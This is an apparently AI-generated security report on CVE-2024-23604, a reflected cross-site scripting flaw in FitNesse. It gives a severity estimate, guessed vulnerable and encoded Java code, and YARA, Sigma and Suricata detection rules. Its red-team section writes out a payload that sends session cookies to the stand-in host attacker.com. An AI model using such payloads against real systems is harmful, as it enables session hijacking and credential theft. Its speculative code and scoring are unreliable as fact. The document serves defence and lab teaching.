CVE-2024-23604

Executive Summary

CVE-2024-23604 is a Cross-Site Scripting (XSS) vulnerability affecting all releases of FitNesse, a web-based wiki and test automation framework. The flaw allows a remote unauthenticated attacker to execute arbitrary JavaScript in the context of a victim’s browser by crafting a malicious link with specially crafted multiple parameters. This can lead to session hijacking, credential theft, or defacement. No official patch or advisory has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the lack of a patch.

Supply Chain & Package Security

FitNesse is a Java-based application distributed as a standalone JAR or via Maven. The vulnerability affects all releases, meaning any organization using FitNesse is at risk. Since no patch is available, users must rely on workarounds such as input validation or web application firewall (WAF) rules. The absence of a GitHub advisory or OSV patch data further complicates remediation.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must click a link
• Scope (SC): Changed (C) – XSS can impact other resources
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium – Exploitation requires user interaction, but no authentication is needed, and the impact includes data theft and session hijacking.

Deep Dive & Mechanics

The vulnerability resides in FitNesse’s handling of HTTP request parameters. When a user accesses a URL with specially crafted multiple parameters, the application fails to sanitize or encode the input before reflecting it in the response. This allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: Lack of output encoding or input validation for query string parameters. FitNesse likely uses a template engine that does not automatically escape user-supplied data.

Attack Vector: The attacker crafts a malicious link containing JavaScript payloads in multiple parameters. The victim clicks the link while authenticated to FitNesse, and the script executes in the context of the FitNesse session.

Example Payload (Conceptual):

http://target/FitNesse?param1=<script>alert('XSS')</script>&param2=javascript:alert(1)

Impact: Session hijacking, credential theft, defacement, or redirection to malicious sites.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely resembles:

// Vulnerable: Direct reflection of parameter
String param = request.getParameter("param");
response.getWriter().write("<div>" + param + "</div>");

A patched version would use proper encoding:

// Patched: Encode output
String param = request.getParameter("param");
response.getWriter().write("<div>" + StringEscapeUtils.escapeHtml4(param) + "</div>");

Exploitation & Lab Setup

Red Team

Objective: Demonstrate XSS to steal session cookies.

Setup:

1. Deploy FitNesse (any version) on a local server.
2. Create a malicious link:

   http://localhost/FitNesse?page=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Send the link to a victim (simulated).
4. Set up a listener on attacker.com to capture cookies.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor web logs for URLs containing <script>, onerror, javascript:, or other XSS patterns.
• Use a WAF to block requests with suspicious parameters.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search for FitNesse in proxy logs and look for unusual parameter values.
• Use the Sigma rule below to detect XSS attempts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to FitNesse with multiple parameters containing <script>, onerror, alert(, or document.cookie.
• Host: FitNesse logs showing XSS or script in request parameters.
• File: No specific file IOCs; the vulnerability is in the application logic.

Detection Engineering

YARA Rule

rule CVE_2024_23604_XSS_FitNesse {
    meta:
        description = "Detects XSS attempts targeting FitNesse CVE-2024-23604"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-23604"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "alert(" nocase
        $xss5 = "document.cookie" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: FitNesse XSS Attempt Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attacks against FitNesse via multiple parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23604 FitNesse XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"FitNesse"; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation for all parameters. Reject or sanitize any input containing HTML tags or JavaScript.
2. Output Encoding: Ensure all user-supplied data is HTML-encoded before reflection.
3. WAF Rules: Deploy a WAF with rules to block XSS patterns (e.g., ModSecurity with OWASP CRS).
4. CSP Headers: Add Content-Security-Policy: script-src 'self' to mitigate script execution.

Long-Term:

• Monitor for an official patch from the vendor.
• Consider migrating to an alternative wiki/test framework if FitNesse is no longer maintained.
• Conduct a security audit of the application to identify similar flaws.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.